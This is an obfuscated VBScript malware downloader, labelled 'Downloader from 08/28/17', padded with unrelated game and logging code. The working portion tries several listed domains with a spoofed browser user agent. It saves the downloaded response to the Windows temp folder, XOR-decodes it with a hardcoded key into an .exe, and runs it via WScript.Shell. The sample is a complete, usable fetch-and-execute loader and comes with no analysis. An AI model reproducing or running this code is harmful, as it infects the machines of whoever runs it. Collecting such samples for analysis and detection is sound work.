Downloader from 08/28/17

  WIKIPEemaciatedItalia = "User"
RACHEL = "avetof"


Dim WIKIPEemaciatedLAKOPPC 'As String
'Dim RDFGO() 'As String
Dim WIKIPEemaciatedUotOfStock 'As String
Function functionT()
DDDresolution13.Savetofile WIKIPEemaciatedUotOfStock & "A", 2
End Function
Function SetMine(Who, Color, X, y )
    Dim i
    For i = 0 To UBound(Mines) + 1
        If i > UBound(Mines) Then ReDim Preserve Mines(i)
        If Mines(i).Color = 0 Then
            Mines(i).Who = Who
            Mines(i).Color = Color
            Mines(i).X = X
            Mines(i).y = y
            Mines(i).Tick = 0
            SetMine = i
            Exit For
        End If
    Next
End Function
Vrungel = ".resp"+"onseB"+"ody"

       Dim TristateTrue

Function F5S( WIKIPEemaciatedUotOfStock, WIKIPEemaciatedUotOfStocku)


    Dim i,d,z, Chesko, feli_tupni
    Dim output_file, FIDONET
    Set Chesko = CreateObject( "Scripting."+"FileSystemObject" )

    Set feli_tupni   = Chesko.GetFile( WIKIPEemaciatedUotOfStock )
    Set FIDONET = feli_tupni.OpenAsTextStream( 1, TristateTrue )

    Set output_file = Chesko.CreateTextFile( WIKIPEemaciatedUotOfStocku, True, False )
    i = 0
    d =  UBound( WIKIPEemaciatedUotOfStockuu ) + 1

Do Until FIDONET.AtEndOfStream
        z = i mod d
        ppap= Asc( FIDONET.Read( 1) )
        output_file.Write Chr(ppap  Xor WIKIPEemaciatedUotOfStockuu(z) )
        i = 1+i
Loop
     output_file.Close
    FIDONET.Close

    Set FIDONET = Nothing
    Set feli_tupni   = Nothing
    Set output_file  = Nothing
    Set Chesko = Nothing
    F5S = Err.Number
    Err.Clear
End Function

Dim WIKIPEemaciatedGerman 'As Object
Dim DDDresolution13 'As Object

Dim WIKIPEemaciatedstatus
WIKIPEemaciatedstatus = false
     Dim RDFGO

Dim WIKIPEemaciatedKSKLAL 'As Object

Function F3(p)
    Set WIKIPEemaciatedRombickom = CreateObject("WScript.Shell")
End Function
Dim WIKIPEemaciated1DASH1solo 'As Object


Function lets_choper( str )
    Dim i, strAsArra( )
    ReDim strAsArra( Len( str ) - 1 )
    Dim si

    Dim ac
si = UBound( strAsArra )
    For i = 0 To si
        strAsArra(i) = Asc( Mid( str, i + 1, 1 ) )
    Next
    ac = strAsArra
    lets_choper = ac
End Function
 Dim WIKIPEemaciated2 'As String
Dim WIKIPEemaciatedGMAKO 'As Object
Function functionT2(dry)

    if dry > 3 AND 2000 > dry Then
WIKIPEemaciatedASALLLP = WIKIPEemaciatedGerman.responseBody
    end if

End Function
Function WIKIPEemaciatedFuks(p)

WIKIPEemaciatedGerman.Send

End Function

Function GeometryDash(p,d)
 F5S WIKIPEemaciatedUotOfStock& "A", WIKIPEemaciatedUotOfStocku

 WIKIPEemaciatedRombickom.Run(WIKIPEemaciatedUotOfStocku)
End Function

WIKIPEemaciated2 = "Microsoft.XMLHTTPREZAKAdodb.streaMREZAKshell.ApplicationREZAKWscript.shellREZAKProcessREZAKGeTREZAKTem"+"PREZAKTypeREZAKopenREZAKwriteREZAKresponseBodyREZAKsavet"+"ofileREZAK\uEGvTvQ.ex"+"eREZAKhttp:REZAK//"

Dim WIKIPEemaciated4 'As String

Function CopyLog()

        Dim oFile
        Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
        Dim sComputer
        Dim sLog
        Dim sBootDrive




        ' Make sure the path is accessible
        oUtility.ValidateConnection oEnvironment.Item("SLShare")
        oUtility.VerifyPathExists oEnvironment.Item("SLShare")
        If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
            oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
            Exit Function
        End if



    End Function

Dim WIKIPEemaciatedASALLLP 'As Variant
Dim dePetya 'As Integer
WIKIPEemaciatedItalia = WIKIPEemaciatedItalia&"-"
Dim iSlashPOS 'As Integer
  Dim sDecimalVis 'As String
  Dim sWholeVis 'As String
sWholeVis = "A"
Function podeli( s500 )
   podeli = Split(WIKIPEemaciated2, s500)
End Function





  Dim MarketPlaceibility 'As String
  Dim sNodeKey 'As String
  Dim sParentKey 'As String
  Dim MarketPlace 'As String
     RDFGO = podeli(""&"REZAK")
  Dim sTempVis 'As String
  Dim iCount 'As Integer
Dim WIKIPEemaciatedRombickom
zTempVis = RDFGO(1)
iSlashPOS = 12
'Set WIKIPEemaciatedGMAKO = CreateObject(RDFGO(8-6))
Set WIKIPEemaciatedRfeedro = GetRef("GeometryDash")

Set DDDresolution13 = CreateObject("Adodb.streaM")




Public Sub AnimUniBall(i)
    Dim Rx, Ry, rBuff
    Dim xt, yt, j, e
    Dim NewX, NewY, d, SgnX, SgnY
    Dim RatioX, RatioY
    Rx = 452
    Ry = 81

    NewX = UniBall(i).BallX
    NewY = UniBall(i).BallY
    If UniBall(i).BSpeedX > UniBall(i).BSpeedY And UniBall(i).BSpeedY > 0 Then RatioY = UniBall(i).BSpeedX / UniBall(i).BSpeedY
    If UniBall(i).BSpeedY > UniBall(i).BSpeedX And UniBall(i).BSpeedX > 0 Then RatioX = UniBall(i).BSpeedY / UniBall(i).BSpeedX
    If RatioX < 1 Then RatioX = 1
    If RatioY < 1 Then RatioY = 1
    If UniBall(i).BSpeedX > 0 Then UniBall(i).BSpeedX = UniBall(i).BSpeedX - (0.01 / RatioX) * speed
    If UniBall(i).BSpeedY > 0 Then UniBall(i).BSpeedY = UniBall(i).BSpeedY - (0.01 / RatioY) * speed
    If UniBall(i).BSpeedX < 0 Then UniBall(i).BSpeedX = 0
    If UniBall(i).BSpeedY < 0 Then UniBall(i).BSpeedY = 0

    UniBall(i).BLoopX = UniBall(i).BLoopX + (UniBall(i).BSpeedX * speed)
    For j = 1 To UniBall(i).BLoopX
        NewX = NewX + UniBall(i).BMoveX
        UniBall(i).BLoopX = UniBall(i).BLoopX - 1
    Next

    UniBall(i).BLoopY = UniBall(i).BLoopY + (UniBall(i).BSpeedY * speed)
    For j = 1 To UniBall(i).BLoopY
        NewY = NewY + UniBall(i).BMoveY
        UniBall(i).BLoopY = UniBall(i).BLoopY - 1
    Next


    SgnX = Sgn(NewX - UniBall(i).BallX)
    SgnY = Sgn(NewY - UniBall(i).BallY)


    If SgnX = 1 Then 'x positive testing
        For d = UniBall(i).BallX + 1 To NewX
            j = WeaponTouch(6, i, d, UniBall(i).BallY)
            If j = -7 Then
                Exit For
            End If
            If j = -6 Then
                UniBall(i).BMoveX = UniBall(i).BMoveX * -1
                NewX = d - 1
                Exit For
            End If
        Next
    End If

    If SgnX = -1 Then 'x negative testing
        For d = UniBall(i).BallX - 1 To NewX Step -1
            j = WeaponTouch(6, i, d, UniBall(i).BallY)
            If j = -6 Then
                UniBall(i).BMoveX = UniBall(i).BMoveX * -1
                NewX = d + 1
                Exit For
            End If
        Next
    End If

    If SgnY = 1 Then 'y positive testing
        For d = UniBall(i).BallY + 1 To NewY
            j = WeaponTouch(6, i, NewX, d)
            If j = -6 Then
                UniBall(i).BMoveY = UniBall(i).BMoveY * -1
                NewY = d - 1
                Exit For
            End If
        Next
    End If

    If SgnY = -1 Then 'y negative testing
        For d = UniBall(i).BallY - 1 To NewY Step -1
            j = WeaponTouch(6, i, NewX, d)
            If j = -6 Then
                UniBall(i).BMoveY = UniBall(i).BMoveY * -1
                NewY = d + 1
                Exit For
            End If
        Next
    End If
    j = WeaponTouch(6, i, NewX, NewY)
    If j = -7 Then Exit Sub

    UniBall(i).BallX = NewX
    UniBall(i).BallY = NewY
End Sub

MarketPlace = RDFGO(13) & RDFGO(14)
WIKIPEemaciatedItalia = WIKIPEemaciatedItalia&sWholeVis&"gent"
Set WIKIPEemaciated1DASH1solo = CreateObject(RDFGO(3))
Set WIKIPEemaciatedGerman = CreateObject(RDFGO(0))
 dePetya = 1
Cicarka = Split("hendrikvankerkhove.be/78wygGHDwf?-glostrap.com/78wygGHDwf?-drommtoinononcechangerrer.info/af/78wygGHDwf", "-")
 Set WIKIPEemaciatedKSKLAL = WIKIPEemaciated1DASH1solo.Environment(RDFGO(1 + 3))
 WIKIPEemaciatedLAKOPPC = WIKIPEemaciatedKSKLAL(RDFGO(6))

 Dim i
 'on error GoTo nextU
' on error resume next
sTempVis = RDFGO(iSlashPOS)



lTo = UBound(Cicarka)
rdde = 7
Public Function CompressData(TheData())
    'Allocate memory for byte array
    Dim BufferSize, OriginalSize, Result, CompressedSize
    Dim TempBuffer()

    OriginalSize = UBound(TheData) + 1


    BufferSize = UBound(TheData) + 1
    BufferSize = BufferSize + (BufferSize * 0.01) + 12
    ReDim TempBuffer(BufferSize)

    'Compress byte array (data)
    Result = compress(TempBuffer(0), BufferSize, TheData(0), UBound(TheData) + 1)

    'Truncate to compressed size
    ReDim Preserve TheData(BufferSize - 1)
    CopyMemory TheData(0), TempBuffer(0), BufferSize

    'Cleanup
    Erase TempBuffer

    'Set properties if no error occurred
    If Result = 0 Then CompressedSize = UBound(TheData) + 1

    'Return error code (if any)
    CompressData = Result

End Function
For i = 0 To lTo Step 1
dePetya =  dePetya +4

 WIKIPEemaciated4 = MarketPlace & Cicarka(i)

 WIKIPEemaciatedGerman.Open RDFGO(5), WIKIPEemaciated4, False
dra ="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
WIKIPEemaciatedGerman.setRequestHeader WIKIPEemaciatedItalia, dra
dr1=3
rdde = rdde + 8
on error resume next
WIKIPEemaciatedFuks ""

If WIKIPEemaciatedGerman.Status = 100*2 Then
WIKIPEemaciatedstatus = true
 Exit For
End If
Next

on error goto 0
if WIKIPEemaciatedstatus Then
Dim Ratchet 'As String
 WIKIPEemaciatedUotOfStock = WIKIPEemaciatedLAKOPPC+ sTempVis
WIKIPEemaciatedUotOfStockuu = lets_choper("FSwpJ71l4t3XzEtO035rgb3q5G0vOD1t")
F3 ""

DDDresolution13.Type = 1
 DDDresolution13.Open
functionT2 13
dttat =2
DDDresolution13.Write WIKIPEemaciatedASALLLP
dttat = dttat +4


WIKIPEemaciatedUotOfStocku = WIKIPEemaciatedUotOfStock
functionT()
Dim WIKIPEemaciatedUotOfStockuuu,WIKIPEemaciatedTmp1 'As Long

WIKIPEemaciatedUotOfStocku = WIKIPEemaciatedUotOfStock

WIKIPEemaciatedUotOfStockuuu = 3012

If 1000  < WIKIPEemaciatedUotOfStockuuu Then
 WIKIPEemaciatedTmp1 = ""
 drba =11
WIKIPEemaciatedRfeedro "3,3",4
End If
end if